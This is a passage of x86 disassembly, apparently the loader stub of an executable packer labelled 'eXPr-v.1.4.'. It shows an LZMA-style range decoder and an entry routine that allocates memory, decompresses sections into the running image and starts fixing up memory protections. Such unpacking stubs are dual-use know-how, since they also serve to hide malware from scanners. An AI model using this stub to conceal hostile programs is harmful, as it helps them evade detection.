		xor	eax, eax
		jmp	short loc_43747C
; ---------------------------------------------------------------------------

loc_43742B:				; CODE XREF: sub_4373BA+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_43747C
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_437462
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_437467
; ---------------------------------------------------------------------------

loc_437462:				; CODE XREF: sub_4373BA+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi

loc_437467:				; CODE XREF: sub_4373BA+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx

loc_43747C:				; CODE XREF: sub_4373BA+6Fj
					; sub_4373BA+96j
		pop	edi
		pop	esi
		retn
sub_4373BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43747F	proc near		; CODE XREF: sub_437576+26p
					; sub_437576+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_4374AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]

loc_437490:				; CODE XREF: sub_43747F+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_4373BA
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_437490
		pop	edi
		pop	esi

loc_4374AA:				; CODE XREF: sub_43747F+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_43747F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4374B6	proc near		; CODE XREF: sub_4375EB+2F5p
					; sub_4375EB+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_4374EC
		push	esi

loc_4374C6:				; CODE XREF: sub_4374B6+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_4373BA
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_4374C6
		pop	esi

loc_4374EC:				; CODE XREF: sub_4374B6+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_4374B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4374F1	proc near		; CODE XREF: sub_4375EB+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_4373BA
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2

loc_437520:				; CODE XREF: sub_4374F1+5Fj
		cmp	esi, eax
		jnz	short loc_437552
		cmp	ebx, 100h
		jge	short loc_43756F
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_4373BA
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_437520
; ---------------------------------------------------------------------------

loc_437552:				; CODE XREF: sub_4374F1+31j
		mov	esi, 100h

loc_437557:				; CODE XREF: sub_4374F1+7Cj
		cmp	ebx, esi
		jge	short loc_43756F
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4373BA
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_437557
; ---------------------------------------------------------------------------

loc_43756F:				; CODE XREF: sub_4374F1+39j
					; sub_4374F1+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4374F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_437576	proc near		; CODE XREF: sub_4375EB+24Fp
					; sub_4375EB+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_4373BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4375A6
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_43747F
		add	esp, 0Ch
		jmp	short loc_4375E8
; ---------------------------------------------------------------------------

loc_4375A6:				; CODE XREF: sub_437576+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_4373BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4375D4
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_43747F
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_4375E8
; ---------------------------------------------------------------------------

loc_4375D4:				; CODE XREF: sub_437576+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_43747F
		add	esp, 0Ch
		add	eax, 10h

loc_4375E8:				; CODE XREF: sub_437576+2Ej
					; sub_437576+5Cj
		pop	edi
		pop	esi
		retn
sub_437576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4375EB	proc near		; CODE XREF: sub_437960+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_437653
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw

loc_437653:				; CODE XREF: sub_4375EB+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5

loc_437675:				; CODE XREF: sub_4375EB+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_437681
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_437689
; ---------------------------------------------------------------------------

loc_437681:				; CODE XREF: sub_4375EB+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]

loc_437689:				; CODE XREF: sub_4375EB+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_437675
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_437951

loc_4376AC:				; CODE XREF: sub_4375EB+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4373BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_437761
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_437701
		and	[ebp+var_4], 0
		jmp	short loc_437711
; ---------------------------------------------------------------------------

loc_437701:				; CODE XREF: sub_4375EB+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_43770D
		sub	[ebp+var_4], 3
		jmp	short loc_437711
; ---------------------------------------------------------------------------

loc_43770D:				; CODE XREF: sub_4375EB+11Aj
		sub	[ebp+var_4], 6

loc_437711:				; CODE XREF: sub_4375EB+114j
					; sub_4375EB+120j
		cmp	[ebp+var_14], 0
		jz	short loc_43773E
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_4374F1
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_43775C
; ---------------------------------------------------------------------------

loc_43773E:				; CODE XREF: sub_4375EB+12Aj
		push	1
		pop	ebx

loc_437741:				; CODE XREF: sub_4375EB+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4373BA
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_437741

loc_43775C:				; CODE XREF: sub_4375EB+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_4377D4
; ---------------------------------------------------------------------------

loc_437761:				; CODE XREF: sub_4375EB+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_4373BA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_43785A
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_4373BA
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_4377E2
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4373BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_43782E
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]

loc_4377D4:				; CODE XREF: sub_4375EB+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_437945
; ---------------------------------------------------------------------------

loc_4377E2:				; CODE XREF: sub_4375EB+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_4373BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4377FA
		mov	eax, [ebp+var_10]
		jmp	short loc_437825
; ---------------------------------------------------------------------------

loc_4377FA:				; CODE XREF: sub_4375EB+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_4373BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_437816
		mov	eax, [ebp+var_C]
		jmp	short loc_43781F
; ---------------------------------------------------------------------------

loc_437816:				; CODE XREF: sub_4375EB+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx

loc_43781F:				; CODE XREF: sub_4375EB+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx

loc_437825:				; CODE XREF: sub_4375EB+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx

loc_43782E:				; CODE XREF: sub_4375EB+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_437576
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_43791E
; ---------------------------------------------------------------------------

loc_43785A:				; CODE XREF: sub_4375EB+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_437576
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_43789A
		jmp	short loc_43789D
; ---------------------------------------------------------------------------

loc_43789A:				; CODE XREF: sub_4375EB+2ABj
		push	3
		pop	eax

loc_43789D:				; CODE XREF: sub_4375EB+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_43747F
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_437915
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_4378EC
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_4374B6
		add	esp, 0Ch

loc_4378E8:				; CODE XREF: sub_4375EB+328j
		add	ebx, eax
		jmp	short loc_43791A
; ---------------------------------------------------------------------------

loc_4378EC:				; CODE XREF: sub_4375EB+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_437358
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_4374B6
		add	esp, 14h
		jmp	short loc_4378E8
; ---------------------------------------------------------------------------

loc_437915:				; CODE XREF: sub_4375EB+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax

loc_43791A:				; CODE XREF: sub_4375EB+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx

loc_43791E:				; CODE XREF: sub_4375EB+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_437951
		inc	edi
		inc	edi

loc_437926:				; CODE XREF: sub_4375EB+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_437945
		cmp	ecx, [ebp+arg_20]
		jb	short loc_437926

loc_437945:				; CODE XREF: sub_4375EB+1F2j
					; sub_4375EB+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_4376AC

loc_437951:				; CODE XREF: sub_4375EB+BBj
					; sub_4375EB+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4375EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437960	proc near		; CODE XREF: start+1A2p start+25Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_4379D2
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_437990
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax

loc_43798A:				; CODE XREF: sub_437960+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_43798A

loc_437990:				; CODE XREF: sub_437960+1Bj
		cmp	cl, 9
		jb	short loc_4379A7
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax

loc_4379A1:				; CODE XREF: sub_437960+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_4379A1

loc_4379A7:				; CODE XREF: sub_437960+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	ds:dword_437238	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_4379D7

loc_4379D2:				; CODE XREF: sub_437960+11j
		push	1
		pop	eax
		jmp	short loc_437A34
; ---------------------------------------------------------------------------

loc_4379D7:				; CODE XREF: sub_437960+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4375EB
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_437234	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_438539
		add	esp, 14h
		mov	eax, edi

loc_437A34:				; CODE XREF: sub_437960+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_437960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: start+30o

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00438232 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		rep jmp	short loc_437A55
; ---------------------------------------------------------------------------
		db 65h,	58h, 50h
		dd 2E762D72h, 2E342E31h
		db 0
; ---------------------------------------------------------------------------

loc_437A55:				; CODE XREF: start+Dj
		mov	eax, ds:dword_437000
		add	eax, offset dword_437000
		mov	ds:off_437024, eax
		mov	eax, ds:off_437024
		mov	ecx, offset start
		sub	ecx, [eax+18h]
		mov	ds:dword_437028, ecx
		cmp	ds:dword_43702C, 0
		jz	short loc_437A96
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx
		jmp	loc_4381CD
; ---------------------------------------------------------------------------

loc_437A96:				; CODE XREF: start+45j
		mov	ds:dword_43702C, 1
		push	4
		push	1000h
		push	80h
		push	0
		call	ds:dword_437238	; VirtualAlloc
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 1
		jz	short loc_437AC1
		and	[ebp+arg_0], 0

loc_437AC1:				; CODE XREF: start+82j
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_437238	; VirtualAlloc
		mov	[ebp+var_14], eax
		push	104h
		push	[ebp+var_14]
		push	[ebp+arg_0]
		call	ds:dword_437250	; GetModuleFileNameA
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		mov	[ebp+var_58], eax

loc_437AF3:				; CODE XREF: start+CCj
		mov	eax, [ebp+var_58]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_437B07
		mov	eax, [ebp+var_58]
		dec	eax
		mov	[ebp+var_58], eax
		jmp	short loc_437AF3
; ---------------------------------------------------------------------------

loc_437B07:				; CODE XREF: start+C3j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_54], eax
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_437238	; VirtualAlloc
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		and	byte ptr [eax+1], 0
		mov	eax, ds:dword_437020
		shl	eax, 6
		mov	ecx, ds:dword_437028
		add	ecx, eax
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, ds:dword_437028
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 0F8h
		mov	[ebp+var_40], eax
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_437BFA
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+80h]
		mov	ds:dword_4386BC, ecx
		mov	eax, ds:dword_4386BC
		mov	[ebp+var_3C], eax
		mov	eax, ds:off_437024
		mov	eax, [eax+8]
		mov	ds:dword_4386C0, eax
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+10h]
		mov	ds:off_4386B8, ecx
		push	ds:dword_4386BC
		mov	eax, ds:off_437024
		push	dword ptr [eax+4]
		push	ds:off_4386B8
		call	sub_437960
		add	esp, 0Ch
		mov	eax, ds:off_437024
		push	dword ptr [eax+6Ch]
		push	[ebp+var_3C]
		call	sub_4382B8
		pop	ecx
		pop	ecx
		jmp	loc_438230
; ---------------------------------------------------------------------------

loc_437BFA:				; CODE XREF: start+14Cj
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+64h], 0
		jz	loc_437D24
		push	4
		push	1000h
		mov	eax, ds:off_437024
		push	dword ptr [eax+4]
		push	0
		call	ds:dword_437238	; VirtualAlloc
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	ds:dword_4386BC, eax
		cmp	ds:dword_4386BC, 0
		jnz	short loc_437C4E
		push	30h
		push	[ebp+var_58]
		push	offset aErrorAllocatin ; "Error	allocating memory!"
		push	0
		call	ds:dword_437260	; MessageBoxA
		push	0
		call	ds:dword_43724C	; ExitProcess

loc_437C4E:				; CODE XREF: start+1F9j
		mov	eax, ds:off_437024
		mov	eax, [eax+8]
		mov	ds:dword_4386C0, eax
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+10h]
		mov	eax, ds:off_437024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	ds:off_4386B8, ecx
		push	ds:dword_4386BC
		mov	eax, ds:off_437024
		push	dword ptr [eax+4]
		push	ds:off_4386B8
		call	sub_437960
		add	esp, 0Ch
		jmp	short loc_437CA6
; ---------------------------------------------------------------------------

loc_437C9F:				; CODE XREF: start+2D4j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax

loc_437CA6:				; CODE XREF: start+264j
		mov	eax, ds:off_437024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	short loc_437D0F
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		mov	ecx, [ecx+eax+7Ch]
		mov	esi, ds:dword_4386BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	edx, ds:off_437024
		mov	edi, ds:dword_437028
		add	edi, [edx+eax+80h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		mov	edx, ds:dword_4386BC
		add	edx, [ecx+eax+7Ch]
		mov	ds:dword_4386BC, edx
		jmp	short loc_437C9F
; ---------------------------------------------------------------------------

loc_437D0F:				; CODE XREF: start+279j
		push	8000h
		push	0
		push	[ebp+var_3C]
		call	ds:dword_437234	; VirtualFree
		jmp	loc_437E0E
; ---------------------------------------------------------------------------

loc_437D24:				; CODE XREF: start+1CAj
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+10h]
		mov	eax, ds:off_437024
		sub	ecx, [eax+0Ch]
		mov	eax, ds:off_437024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_3C], ecx
		and	[ebp+var_28], 0
		jmp	short loc_437D5C
; ---------------------------------------------------------------------------

loc_437D55:				; CODE XREF: start:loc_437E09j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax

loc_437D5C:				; CODE XREF: start+31Aj
		mov	eax, ds:off_437024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	loc_437E0E
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		cmp	dword ptr [ecx+eax+74h], 0
		jz	loc_437E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		cmp	dword ptr [ecx+eax+7Ch], 0
		jbe	short loc_437E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		mov	edx, ds:dword_437028
		add	edx, [ecx+eax+80h]
		mov	ds:dword_4386BC, edx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		mov	eax, [ecx+eax+7Ch]
		mov	ds:dword_4386C0, eax
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		mov	edx, [ebp+var_3C]
		add	edx, [ecx+eax+78h]
		mov	ds:off_4386B8, edx
		push	ds:dword_4386BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_437024
		push	dword ptr [ecx+eax+7Ch]
		push	ds:off_4386B8
		call	sub_437960
		add	esp, 0Ch

loc_437E09:				; CODE XREF: start+346j start+35Dj
		jmp	loc_437D55
; ---------------------------------------------------------------------------

loc_437E0E:				; CODE XREF: start+2E6j start+32Fj
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+24h]
		mov	[ebp+var_50], ecx

loc_437E1F:				; CODE XREF: start+5F7j
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_438035
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+24h], 0
		jz	loc_438035
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_50]
